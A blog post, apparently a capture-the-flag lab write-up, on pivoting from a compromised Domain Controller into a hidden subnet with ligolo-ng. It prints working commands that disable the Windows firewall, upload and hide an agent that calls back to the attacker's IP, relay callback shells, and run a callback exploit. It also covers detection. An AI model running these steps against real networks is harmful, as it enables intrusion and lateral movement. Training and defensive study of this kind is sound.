Initializing

Back to blog
CPPJ

July 31, 2026

Cetro, Part 2: Pivoting and Network Tunnels with ligolo-ng

Gerardo Eliasib

Gerardo Eliasib

CEO of Spartan-Cybersecurity

Cetro, Part 2: Pivoting and Network Tunnels with ligolo-ng

In Part 1 you took Cetro's Domain Controller with Zerologon and landed an evil-winrm session as Administrator. Game over, right?

No. Cetro has a second face.

From that DC there's a whole network segment —Stage 2— your attacking machine can't even reach. The targets that score points live in there, behind a network boundary. And to cross it another exploit won't help you: understanding how packets travel will.

This is the part that separates someone who "solves boxes" from someone who understands networks.

The problem: a network you can't see

Serious corporate networks aren't flat. They're segmented: split into isolated subnets so that compromising one zone doesn't hand you the rest. An exposed web server lives in one subnet; databases and internal systems live in another, reachable only from inside.

Cetro sits on the edge. It has one foot in the segment you reach (Stage 1) and another in the hidden segment (Stage 2, let's say 10.10.20.0/24). Your Kali, on the other hand, only sees the first.

If you try to scan the internal network directly, nothing happens — literally. Your packets have no route there:

bash
nmap 10.10.20.0/24
# Host seems down. (no route from your Kali)

It's not a firewall blocking you. It's worse and simpler: as far as your Kali is concerned, that network doesn't exist. There's no interface to send those packets out of.

Pivoting 101: turning the DC into your bridge

The solution is called pivoting: using a machine you already control —and that does touch both networks— as a bridge to what you can't reach. Cetro is the perfect candidate: it's your compromised DC and it talks to both subnets.

There are three classic ways to build that bridge, from least to most powerful:

  • Port forwarding — you redirect a single port. Good for one specific service, nothing more.
  • SOCKS proxy — you tunnel TCP connections through a proxy. Flexible, but you have to "socksify" every tool (proxychains) and it handles ICMP and UDP poorly.
  • Network-level (L3) tunnel — you bring up a virtual interface and route the remote subnet through the pivot. All your tools work natively, no wrappers. Transparent.

For Cetro we go with the third, the cleanest, using the tool that's become the standard: ligolo-ng.

ligolo-ng: a network-level tunnel

ligolo-ng has two pieces. The proxy runs on your Kali and creates a virtual network interface (a TUN). The agent runs on the compromised machine —Cetro— and connects back to your proxy. Between them they open a tunnel that carries raw IP traffic.

The elegant part: when you route the Stage 2 subnet toward that TUN interface, your operating system believes the internal network is one hop away. An nmap, a curl, any exploit travel transparently through Cetro without you configuring a thing in the tool.

On your Kali, you create the TUN interface (once) and start the proxy:

bash
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./ligolo-proxy -selfcert -laddr 0.0.0.0:11601

Uploading the agent without RDP

Now you need to run the agent inside Cetro. And here's the practical twist versus other tasks: Cetro is a Domain Controller with no comfortable desktop — you won't use RDP or certutil. You already have something better: your evil-winrm session from Part 1.

evil-winrm ships with a built-in upload command. From that same session, you turn off the Windows firewall, upload the agent binary and launch it in the background, hidden:

*Evil-WinRM* PS> netsh advfirewall set allprofiles state off
*Evil-WinRM* PS> upload /local/path/agent.exe C:\Users\Public\agent.exe
*Evil-WinRM* PS> Start-Process C:\Users\Public\agent.exe -ArgumentList '-connect','10.10.3.10:11601','-ignore-cert' -WindowStyle Hidden

Notice the -connect 10.10.3.10:11601: the agent connects back to your Kali. In a segmented environment it's almost always the victim that calls the attacker, not the other way around — hold that thought, it's the key to the next section.

Back on the proxy, you select the incoming session, bring up the tunnel over the ligolo interface, and create the listeners that will relay callbacks to your Kali's loopback:

ligolo-ng » session
[Agent : Administrator@DC01] » start --tun ligolo
[Agent : Administrator@DC01] » listener_add --addr 0.0.0.0:8081 --to 127.0.0.1:8081 --tcp
[Agent : Administrator@DC01] » listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcp

And you add the route to Stage 2 on your Kali:

bash
sudo ip route add 10.10.20.0/24 dev ligolo

From here on, any packet you send to 10.10.20.x leaves through the ligolo interface, crosses the tunnel, and Cetro reinjects it into the internal network as if it came from itself. You can see the hidden network now.

The ghost of asymmetric routing

This is where half the class crashes, and where you truly learn how networks work.

Enumerating internal targets with nmap or curl works on the first try. But the moment you fire an exploit with a callback —a Log4Shell, a deserializer, anything that forces the victim to connect back to you— everything breaks. The shell never lands. And there's no obvious error.

The cause is asymmetric routing, and understanding it is a level-up.

Think about the outbound path and the return path separately. When an exploit has a callback, you tell the internal victim which IP to connect to in order to give you the shell. The instinct is to put your Kali's IP. Wrong.

  • Outbound: the internal victim sends the SYN toward your Kali. Since your Kali routed 10.10.20.0/24 through dev ligolo, the reply (SYN-ACK) leaves through the tunnel.
  • Return: but the victim expected that reply on its normal network route, not through the ligolo tunnel. It receives a packet that fits no connection it thinks it has and answers with a RST. Connection aborted.

Traffic came in one way and left another. That's asymmetric routing, and modern TCP stacks reject it.

The fix is counterintuitive but elegant:

On exploits with a callback, point at the pivot's IP (Cetro), never at your Kali directly.
bash
python3 poc.py --userip 10.10.10.100 --webport 8081 --lport 9001

By pointing at 10.10.10.100 (Cetro), the victim connects to a neighbor on its own network — a symmetric, natural path for it. The ligolo agent listens there (thanks to the listener_add you created), captures that callback and relays it through the tunnel to your Kali's 127.0.0.1, where your listener waits. The shell lands. No asymmetric routing, no RST.

An operational note that saves hours: if you reuse the ligolo interface after a stop or an agent_disconnect of a previous agent, the route to Stage 2 is gone because the TUN closed when the tunnel stopped. Re-add it with sudo ip route add 10.10.20.0/24 dev ligolo after each new start --tun ligolo.

The other side: detecting the pivot

A pivot through a Domain Controller is as powerful as it is loud — if the defender looks in the right places. Think like the blue team:

  • A DC shouldn't initiate strange outbound connections. A Domain Controller reaching out over a high port (11601) to an unknown IP is a huge anomaly. Egress filtering —controlling what's allowed out, not just what's allowed in— would have killed the agent on the spot.
  • New listening ports. The listener_add calls open ports that DC never had. A port inventory or a decent EDR notices.
  • An unknown binary running from `C:\Users\Public`. agent.exe is part of no Windows install. Application whitelisting and EDR exist for exactly this.
  • The disabled firewall. That netsh advfirewall set allprofiles state off generates an event a SOC should alert on immediately.

The defensive lesson is twofold: segmenting stops the attacker at the edge, but only if you also monitor traffic between segments and treat any outbound connection from a DC as guilty until proven innocent.

From box to mindset

Cetro teaches you two worlds in a single task. In Part 1, how a crypto flaw hands over an entire domain. In this one, how you cross a network boundary that "doesn't exist" for your machine — and why packets, not tools, are in charge.

When you understand that a callback exploit fails because of where the packet returns and not because of the exploit itself, you stopped solving challenges. You started thinking like an operator.

And that's exactly what we build, task by task, in the CPPJ.